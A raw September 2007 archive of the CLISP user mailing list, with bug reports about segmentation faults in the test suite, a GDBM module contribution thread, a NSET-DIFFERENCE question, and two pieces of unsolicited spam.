uppercase Subject: [clisp-list] ia64-suse-linux build and sigsegv error in check X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Sep 2007 01:43:52 -0000 I have the entire transcript if it'll help. Everything seems to be working until make check ends with ... === ... EQL-OK: ERROR (LENGTH (ADJUST-ARRAY (MAKE-ARRAY 0 :ELEMENT-TYPE 'CHARACTER :ADJUSTABLE T) 1)) EQL-OK: 1 (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))))) *** - handle_fault error2 ! address = 0xb0000000124b8 not in [0xb000000000000,0x\ b000000001988) ! SIGSEGV cannot be cured. Fault address = 0xb0000000124b8. Permanently allocated: 150528 bytes. Currently in use: 8699984 bytes. Free space: 2173666 bytes. gmake[1]: *** [tests] Segmentation fault gmake[1]: Leaving directory `/home/dcohen/clisp-2.41/src/tests' make: *** [check-tests] Error 2 === Is this related to the following? libsigsegv: ia64-unknown-linux2.6.16.27-gnu-glibc2.4 | yes | no | 2.4 Let me know what I can do about it. Thanks. From sds@gnu.org Thu Sep 06 06:22:59 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1ITHJy-00085A-LV for clisp-list@lists.sourceforge.net; Thu, 06 Sep 2007 06:22:58 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ITHJx-0002ei-5Z for clisp-list@lists.sourceforge.net; Thu, 06 Sep 2007 06:22:58 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id AF4301F8; Thu, 06 Sep 2007 09:23:15 -0400 Message-ID: <46DFFF26.7060405@gnu.org> Date: Thu, 06 Sep 2007 09:22:46 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: Don Cohen References: <20070906014351.003141A818F@isis.cs3-inc.com> In-Reply-To: <20070906014351.003141A818F@isis.cs3-inc.com> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] ia64-suse-linux build and sigsegv error in check X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 06 Sep 2007 13:22:59 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Don Cohen wrote: > I have the entire transcript if it'll help. > Everything seems to be working until make check ends with ... > > === > ... > EQL-OK: ERROR > (LENGTH (ADJUST-ARRAY (MAKE-ARRAY 0 :ELEMENT-TYPE 'CHARACTER :ADJUSTABLE T) 1)) > EQL-OK: 1 > (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))))) > > *** - handle_fault error2 ! address = 0xb0000000124b8 not in [0xb000000000000,0x\ > b000000001988) ! > SIGSEGV cannot be cured. Fault address = 0xb0000000124b8. > Permanently allocated: 150528 bytes. > Currently in use: 8699984 bytes. > Free space: 2173666 bytes. > gmake[1]: *** [tests] Segmentation fault > gmake[1]: Leaving directory `/home/dcohen/clisp-2.41/src/tests' > make: *** [check-tests] Error 2 > === this is a test for reallocated strings being turned ordinary by GC. Bruno is the only one. > Is this related to the following? > libsigsegv: ia64-unknown-linux2.6.16.27-gnu-glibc2.4 | yes | no | 2.4 dunno. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD4DBQFG3/8mPp1Qsf2qnMcRAqVDAJdq/sP11NCOXawvVlOFSi3lnPgRAJ9DI+A3 0fbX9LuvSY8EIGS8H+kXUg== =rV1H -----END PGP SIGNATURE----- From fred.strassner@shouldlook.com Mon Sep 10 02:14:47 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IUfLz-0007YZ-1R for clisp-list@lists.sourceforge.net; Mon, 10 Sep 2007 02:14:47 -0700 Received: from [122.167.146.88] (helo=ABTS-KK-Dynamic-088.146.167.122.airtelbroadband.in) by mail.sourceforge.net with smtp (Exim 4.44) id 1IUfLw-0001iX-Ko for clisp-list@lists.sourceforge.net; Mon, 10 Sep 2007 02:14:46 -0700 Received: (qmail 26872 invoked from network); Mon, 10 Sep 2007 02:14:38 -0700 Received: from unknown (HELO hvr) (55.217.178.178) by ABTS-KK-Dynamic-088.146.167.122.airtelbroadband.in with SMTP; Mon, 10 Sep 2007 02:14:38 -0700 Message-ID: <46E50AFE.4050007@shouldlook.com> Date: Mon, 10 Sep 2007 02:14:38 -0700 From: User-Agent: Thunderbird 2.0.0.6 (Windows/20070728) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] Football Fan Essentials X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 10 Sep 2007 09:14:48 -0000 Time for some serious games, Football! Never miss a game again, and know all the stats. Keep on top of all the games with our online game tracker: http://83.23.94.58/ From sds@gnu.org Wed Sep 12 07:43:04 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IVTQm-0007Cw-1a for clisp-list@lists.sourceforge.net; Wed, 12 Sep 2007 07:43:04 -0700 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IVTQk-0000Yc-6N for clisp-list@lists.sourceforge.net; Wed, 12 Sep 2007 07:43:03 -0700 Received: from [172.25.131.105] [38.96.172.125] by janestcapital.com with ESMTP (SMTPD-9.10) id A9170368; Wed, 12 Sep 2007 11:43:19 -0400 Message-ID: <46E7FAEC.4070800@gnu.org> Date: Wed, 12 Sep 2007 10:42:52 -0400 From: Sam Steingold User-Agent: Thunderbird 2.0.0.0 (X11/20070326) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <20070912.001744.39176138.masayuki.onjo@gmail.com> In-Reply-To: <20070912.001744.39176138.masayuki.onjo@gmail.com> X-Enigmail-Version: 0.95.3 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] GDBM module available X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Sep 2007 14:43:05 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Masayuki Onjo wrote: > > I made a GDBM interface module for the CLISP. > > You can download it from: > http://lispuser.net/files/clisp/gdbm.tar.gz > > It provides the GNU Database Manager (GDBM) interface > that manages data files that contation key/data pairs. thanks. you did not mention the licensing terms. (note that since your module relies on CLISP internals, your only option is GNU GPL2). there are some small rough edges. e.g., the whole error_message business that you copied from bdb is completely out of place here: bdb uses callbacks and gdbm, apparently does not. gdbm.xml is obviously missing. if you want us to include your module with the official clisp distribution, I will put it under the cvs on SF and give your write access to the tree. Sam. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFG5/rsPp1Qsf2qnMcRAkPdAKCoKiZJw7o0MZqga70+2ythyuk6CACfVSJW /oxykgc2LAI65YH8cRbqyoU= =bYL2 -----END PGP SIGNATURE----- From byoungin@skynet.be Wed Sep 12 11:03:10 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IVWYM-0007TK-0i; Wed, 12 Sep 2007 11:03:06 -0700 Received: from [200.94.226.59] (helo=[200.94.226.59]) by mail.sourceforge.net with smtp (Exim 4.44) id 1IVWYD-0000NT-Ep; Wed, 12 Sep 2007 11:03:01 -0700 Received: from [200.94.226.59] by in.mx.skynet.be; Wed, 12 Sep 2007 12:03:07 -0600 Date: Wed, 12 Sep 2007 12:03:07 -0600 From: "Snejana" X-Mailer: The Bat! (v2.00.6) Business X-Priority: 3 (Normal) Message-ID: <274604689.01985638229812@skynet.be> To: clisp-list@lists.sf.net MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1252 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.6 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.6 URIBL_SBL Contains an URL listed in the SBL blocklist [URIs: reglergm.com] Subject: [clisp-list] Don't wait any longer, look nicer with this Special Edition. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: byoungin@skynet.be List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 12 Sep 2007 18:03:10 -0000 Do you want to be noticed? There is no better way than wearing a CARTIER around your wrist. It is incredible how people treat you better because of a five thousand watch. However you will not pay that much. Because I have a good copy store for you, exclusive brands and models. No other place has it, and they are just like the real thing. I can guarantee it for you! http://reglergm.com/ From masayuki.onjo@gmail.com Sat Sep 15 08:51:02 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IWZil-0008Eu-U6 for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 08:38:13 -0700 Received: from rv-out-0910.google.com ([209.85.198.188]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IWZXO-0006eC-1i for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 08:26:28 -0700 Received: by rv-out-0910.google.com with SMTP id g11so3659866rvb for ; Sat, 15 Sep 2007 08:26:25 -0700 (PDT) Received: by 10.141.20.7 with SMTP id x7mr261988rvi.1189869985535; Sat, 15 Sep 2007 08:26:25 -0700 (PDT) Received: from localhost ( [202.221.175.18]) by mx.google.com with ESMTPS id l32sm4110565rvb.2007.09.15.08.26.21 (version=SSLv3 cipher=OTHER); Sat, 15 Sep 2007 08:26:25 -0700 (PDT) Date: Sun, 16 Sep 2007 00:22:36 +0900 (JST) Message-Id: <20070916.002236.226800875.masayuki.onjo@gmail.com> To: clisp-list@lists.sourceforge.net From: Masayuki Onjo X-Mailer: Mew version 5.2.51 on Emacs 22.0.990 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: Re: [clisp-list] GDBM module available X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 15 Sep 2007 15:51:03 -0000 Hi, Sam. Sam Steingold wrote: > you did not mention the licensing terms. > (note that since your module relies on CLISP internals, your only option > is GNU GPL2). All right, I choose GPL2. > there are some small rough edges. > e.g., the whole error_message business that you copied from bdb is > completely out of place here: bdb uses callbacks and gdbm, apparently > does not. > gdbm.xml is obviously missing. Ok, I'll revise the error handling code and create gdbm.xml. I've a question abount error-handling in C-module. Usually I wrote the following code: ;; 1. define error (define-condition my-error (simple-error) (...)) ;; 2. use error (defun my-proc (x) (if (pred x) .... (error (make-condition 'my-error :param x ...)))) ;; * ;; 3. handle error (handler-case (my-proc x) (my-proc (c) ...)) Could I use that style in C-module? pushSTACK(...); pushSTACK(...); funcall(`CL:MAKE-CONDITION`, ...); pushSTACK(value1); funcall(`CL:ERROR`, 1); I think that it works, but I'm not confident correct. Are there better way? > if you want us to include your module with the official clisp > distribution, I will put it under the cvs on SF and give your write > access to the tree. Yes, I want to contribute this module. -- Masayuki Onjo From lisp-clisp-list@m.gmane.org Sat Sep 15 18:00:10 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IWiUb-0006gB-Si for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 18:00:09 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IWiUZ-00009x-Vc for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 18:00:09 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1IWiUU-0003Ur-8b for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 03:00:02 +0200 Received: from host219-139-dynamic.2-87-r.retail.telecomitalia.it ([87.2.139.219]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 16 Sep 2007 03:00:02 +0200 Received: from raffaele.arecchi by host219-139-dynamic.2-87-r.retail.telecomitalia.it with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 16 Sep 2007 03:00:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: raffaele arecchi Date: Sun, 16 Sep 2007 00:54:59 +0000 (UTC) Lines: 37 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 87.2.139.219 (Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.0.12) Gecko/20070718 Fedora/1.5.0.12-4.fc6 Firefox/1.5.0.12) Sender: news X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] non-destructive nset-difference? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Sep 2007 01:00:10 -0000 I'd trouble with my program and I found out this: OPERATORS[70]> y ('(1 C) '(A 5)) OPERATORS[71]> i '(1 C) OPERATORS[72]> (nset-difference y (list i) :test #'equal) ('(A 5)) OPERATORS[73]> y ('(1 C) '(A 5)) OPERATORS[74]> i '(1 C) OPERATORS[75]> is there something wrong? bye raffaele bash-3.1$ clisp --version GNU CLISP 2.41 (2006-10-13) (built on hammer2.fedora.redhat.com) Software: GNU C 4.1.1 20061011 (Red Hat 4.1.1-30) gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -falign-functions=4 -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a /usr/lib/libreadline.so -ltermcap -ldl -L/usr/lib -lsigsegv SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.4 libreadline 5.1 Features: (READLINE REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER PC386 UNIX) C Modules: (clisp i18n syscalls regexp readline) Installation directory: /usr/lib/clisp/ User language: ENGLISH From s11@member.fsf.org Sat Sep 15 18:49:56 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IWjGk-0002rP-AM for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 18:49:55 -0700 Received: from mxsf06.insightbb.com ([74.128.0.76]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IWjGh-000275-V9 for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 18:49:54 -0700 X-IronPort-AV: E=Sophos;i="4.20,259,1186372800"; d="scan'208";a="55884341" Received: from unknown (HELO asav00.insightbb.com) ([172.31.249.123]) by mxsf06.insightbb.com with ESMTP; 15 Sep 2007 21:49:44 -0400 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgAAAB8p7EZKiZK7/2dsb2JhbAAM X-IronPort-AV: E=Sophos;i="4.20,259,1186372800"; d="scan'208";a="116529387" Received: from 74-137-146-187.dhcp.insightbb.com (HELO [192.168.10.2]) ([74.137.146.187]) by asav00.insightbb.com with ESMTP; 15 Sep 2007 21:49:44 -0400 From: Stephen Compall To: raffaele arecchi In-Reply-To: References: Content-Type: text/plain Date: Sat, 15 Sep 2007 20:49:43 -0500 Message-Id: <1189907383.12437.10.camel@nocandy.dyndns.org> Mime-Version: 1.0 X-Mailer: Evolution 2.10.2-2.1mdv2007.1 Content-Transfer-Encoding: 7bit X-Spam-Score: -2.3 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] non-destructive nset-difference? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Sep 2007 01:49:56 -0000 On Sun, 2007-09-16 at 00:54 +0000, raffaele arecchi wrote: > OPERATORS[72]> (nset-difference y (list i) :test #'equal) > ('(A 5)) > > is there something wrong? Yes, NSET-DIFFERENCE is not required to do what you expect here. The only change from SET-DIFFERENCE is that it can modify conses in any order from the first argument list, possibly using any number of them in the result, or even setting all the cars and cdrs to 42 and discarding them if it is so inclined. You must still treat it like a function and use the result that it returns. Most "destructive" variants of list functions have this behavior. The ones that are guaranteed to do something specific will have that thing described in detail in the CLHS. For a couple of interesting examples, see NCONC and MAP-INTO. -- ;;; Stephen Compall ** http://scompall.nocandysw.com/blog ** "Peta" is Greek for fifth; a petabyte is 10 to the fifth power, as well as fifth in line after kilo, mega, giga, and tera. -- Lee Gomes, performing every Wednesday in his tech column "Portals" on page B1 of The Wall Street Journal From sds@gnu.org Sat Sep 15 21:54:02 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IWm8v-0002n7-S4 for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 21:54:01 -0700 Received: from mta2.srv.hcvlny.cv.net ([167.206.4.197]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1IWm8u-0008AQ-DA for clisp-list@lists.sourceforge.net; Sat, 15 Sep 2007 21:54:01 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta2.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-8.04 (built Feb 28 2007)) with ESMTP id <0JOG007I72XS5KP0@mta2.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 00:53:53 -0400 (EDT) Received: from [127.0.0.1] (localhost [127.0.0.1]) by loiso.podval.org (Postfix) with ESMTP id ACC0521DF79; Sun, 16 Sep 2007 00:53:50 -0400 (EDT) Date: Sun, 16 Sep 2007 00:53:34 -0400 From: Sam Steingold In-reply-to: <20070916.002236.226800875.masayuki.onjo@gmail.com> To: Masayuki Onjo Message-id: <46ECB6CE.3030702@gnu.org> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT References: <20070916.002236.226800875.masayuki.onjo@gmail.com> User-Agent: Thunderbird 1.5.0.12 (X11/20070719) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO X-Mailman-Approved-At: Sat, 15 Sep 2007 22:05:27 -0700 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] GDBM module available X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Sep 2007 04:54:02 -0000 Hi Masayuki, Masayuki Onjo wrote: > Sam Steingold wrote: > > I've a question abount error-handling in C-module. > Usually I wrote the following code: > > ;; 1. define error > (define-condition my-error (simple-error) (...)) > > ;; 2. use error > (defun my-proc (x) > (if (pred x) > .... > (error (make-condition 'my-error :param x ...)))) ;; * > > ;; 3. handle error > (handler-case > (my-proc x) > (my-proc (c) ...)) > > Could I use that style in C-module? > > pushSTACK(...); pushSTACK(...); > funcall(`CL:MAKE-CONDITION`, ...); > pushSTACK(value1); > funcall(`CL:ERROR`, 1); > > I think that it works, but I'm not confident correct. > Are there better way? error-of-type is, I think, what you are looking for (although your version will probably work too). see modules/berkeley-db/bdb.c:error_bdb >> if you want us to include your module with the official clisp >> distribution, I will put it under the cvs on SF and give your write >> access to the tree. > > Yes, I want to contribute this module. thank you! what is your SF id? Sam. From andrew@walrond.org Sun Sep 16 08:42:47 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IWwGk-0004O6-Fc for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 08:42:46 -0700 Received: from marvin.h-e-r-e-s-y.com ([87.106.62.5]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IWwGj-0002S5-Qi for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 08:42:46 -0700 Received: from host86-151-175-46.range86-151.btcentralplus.com ([86.151.175.46] helo=[192.168.1.79]) by marvin.h-e-r-e-s-y.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.66) (envelope-from ) id 1IWwNe-0000g0-Rz for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 15:49:55 +0000 Message-ID: <46ED4F62.3030804@walrond.org> Date: Sun, 16 Sep 2007 16:44:34 +0100 From: Andrew Walrond User-Agent: Icedove 1.5.0.12 (X11/20070731) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net X-Enigmail-Version: 0.94.2.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] make check-tests failure; FAQ? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Sep 2007 15:42:47 -0000 Hello list, I'm a new clisp user, and although the build/install works fine as per the instructions, there is a failure during make check-tests I'm about to follow the bug reporting procedure, but much experience has led me to suspect this has been long since identified and fixed, so I though I'd try a quick post here first. This is on a x86_64 pure 64bit gnu/linux setup and the error looks like this: ...[snip]... EQL-OK: ERROR (LET ((A T) (B NIL)) (LIST (IF A 1 2) (IF B 1 2) (IF A 1) (IF B 1))) EQUAL-OK: (1 2 1 NIL) (LET ((A T) (B NIL)) (LIST (WHEN A 1 2) (WHEN B 1 2) (WHEN A 1))) EQUAL-OK: (2 NIL 1) (LET ((A T) (B NIL)) (LIST (UNLESS A 1 2) (UNLESS B 1 2) (UNLESS A 1))) EQUAL-OK: (NIL 2 NIL) (LET ((A T) (B 10) (C NIL)) (LIST (COND (A 1) (T 'END)) (COND (B) (T 'END)) (COND (C 1) (T 'END)))) EQUAL-OK: (1 10 END) (CASE (+ 1 2) (1 -1) (2 -2) (3 -3)) EQL-OK: -3 (CASE (+ 1 2) (1 -1) (2 -2)) EQL-OK: NIL (CASE (+ 1 2) ((1 3) -1) (2 -2) (OTHERWISE 100)) EQL-OK: -1 (TYPECASE (+ 1 2) (LIST -2) (NULL -3) (INTEGER -1)) EQL-OK: -1 (BLOCK BLOCKTEST (IF T (RETURN 0)) 1) *** - handle_fault error2 ! address = 0x0 not in [0x333a50000,0x333e7e348) ! SIGSEGV cannot be cured. Fault address = 0x0. Permanently allocated: 150584 bytes. Currently in use: 10624280 bytes. Free space: 36950 bytes. make[1]: *** [tests] Segmentation fault make[1]: Leaving directory `/tmp/clisp.heretix/clisp-2.41/build/tests' make: *** [check-tests] Error 2 I'm using gcc 4.1.2, latest binutils, glibc 2.6.1 and libsigsegv 2.4 Any instant solutions appreciated, otherwise I'll proceed with the bug reporting procedure. Thanks! Andrew Walrond From andrew@walrond.org Sun Sep 16 09:05:10 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1IWwcQ-00086F-FM for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 09:05:10 -0700 Received: from marvin.h-e-r-e-s-y.com ([87.106.62.5]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1IWwcO-0006hT-Qt for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 09:05:10 -0700 Received: from host86-151-175-46.range86-151.btcentralplus.com ([86.151.175.46] helo=[192.168.1.79]) by marvin.h-e-r-e-s-y.com with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.66) (envelope-from ) id 1IWwjL-0000gT-JK for clisp-list@lists.sourceforge.net; Sun, 16 Sep 2007 16:12:19 +0000 Message-ID: <46ED54A3.9050300@walrond.org> Date: Sun, 16 Sep 2007 17:06:59 +0100 From: Andrew Walrond User-Agent: Icedove 1.5.0.12 (X11/20070731) MIME-Version: 1.0 CC: clisp-list@lists.sourceforge.net References: <46ED4F62.3030804@walrond.org> In-Reply-To: <46ED4F62.3030804@walrond.org> X-Enigmail-Version: 0.94.2.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] make check-tests failure; 